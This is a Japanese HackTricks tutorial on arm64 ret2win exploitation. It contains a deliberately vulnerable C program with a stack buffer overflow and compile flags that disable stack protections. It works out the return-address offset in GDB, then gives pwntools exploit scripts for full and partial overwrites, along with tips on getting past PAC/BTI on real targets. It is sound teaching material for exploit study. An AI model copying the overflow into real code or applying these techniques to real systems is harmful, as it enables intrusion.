Ret2win - arm64
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
arm64 の入門はこちら:
コード
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie と canary を無効にしてコンパイル:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- 追加のフラグ
-mbranch-protection=none
は AArch64 の Branch Protection (PAC/BTI) を無効化します。ツールチェーンがデフォルトで PAC や BTI を有効にする場合、このフラグを使うとラボの再現性が保たれます。コンパイル済みバイナリが PAC/BTI を使用しているか確認するには: - AArch64 GNU のプロパティを探します:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- プロローグ/エピローグを
paciasp
/autiasp
(PAC) あるいはbti c
のランディングパッド (BTI) がないか確認します: objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- リンクレジスタは
x30
(別名lr
) で、関数は通常stp x29, x30, [sp, #-16]!
でx29
/x30
を保存し、ldp x29, x30, [sp], #16; ret
で復元します。 - つまり、保存された戻りアドレスはフレームベースから見て
sp+8
に存在します。下にchar buffer[64]
がある場合、保存されたx30
への通常の上書き距離は 64(バッファ)+ 8(保存された x29)= 72 バイトになります — これは以下で実際に確認するものと一致します。 - スタックポインタは関数境界で 16 バイト境界に整列している必要があります。より複雑なシナリオで後ほど ROP チェーンを組む場合は、SP のアラインメントを維持してください。そうしないと関数のエピローグでクラッシュする可能性があります。
Finding the offset
Pattern option
この例は GEF を使用して作成しました:
Start gdb with gef, create pattern and use it:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 はレジスタ x30 にあるアドレスに戻ろうとします(このレジスタは改ざんされています)。これを利用して pattern offset を見つけることができます:
pattern search $x30
.png)
オフセットは72 (9x48).
Stack offset option
まず、pc register が格納されている stack address を取得します:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
次に、read()
の後にブレークポイントを設定し、read()
が実行されるまで続行して、13371337 のようなパターンを設定します:
b *vulnerable_function+28
c
.png)
このパターンがメモリ内のどこに格納されているかを特定する:
.png)
次に: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
通常
win
関数のアドレスを取得する:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
実際にはこれはスタックに格納されたPCのoff-by-2のようなものになります。リターンアドレス全体を上書きする代わりに、最後の2バイトだけを0x06c4
で上書きします。
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
別のARM64におけるoff-by-oneの例は https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ で見つけられます。これは架空の脆弱性における実際のoff-by-oneです。
With PIE
tip
バイナリを**-no-pie
引数なしで**コンパイルしてください
Off-by-2
leakがないとwin functionの正確なアドレスはわかりませんが、binaryからのfunctionのoffsetは把握でき、上書きしているreturn addressがすでに近いアドレスを指していることを考慮すれば、この場合win functionのoffset(0x7d4)をleakしてそのoffsetを使うことが可能です:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
現代の AArch64 ハードニング (PAC/BTI) と ret2win に関する注意事項
- バイナリが AArch64 Branch Protection でコンパイルされている場合、関数のプロローグ/エピローグに
paciasp
/autiasp
やbti c
が出力されることがあります。その場合: - 有効な BTI landing pad ではないアドレスに戻ると
SIGILL
が発生する可能性があります。bti c
を含む正確な関数エントリを狙ってください。 - リターンに対して PAC が有効になっていると、エピローグが
x30
を認証するため、単純な return‑address の上書きは失敗することがあります。学習用の環境では、-mbranch-protection=none
で再ビルドしてください(上記参照)。実際のターゲットを攻撃する場合は、非リターン型のハイジャック(例: function pointer overwrites)を優先するか、偽造した LR を認証するautiasp
/ret
の組が絶対に実行されないような ROP を構築してください。 - 機能を素早く確認するには:
readelf --notes -W ./ret2win
を実行し、AARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
のノートを確認してください。objdump -d ./ret2win | head -n 40
を実行し、bti c
、paciasp
、autiasp
を確認してください。
非‑ARM64 ホストでの実行 (qemu-user クイックヒント)
x86_64 上にいるが AArch64 を練習したい場合:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
関連 HackTricks ページ
Ret2syscall - ARM64
参考文献
- Linux向けAArch64でのPACとBTIの有効化 (Arm Community, 2024年11月). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64-bit アーキテクチャのProcedure Call Standard (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。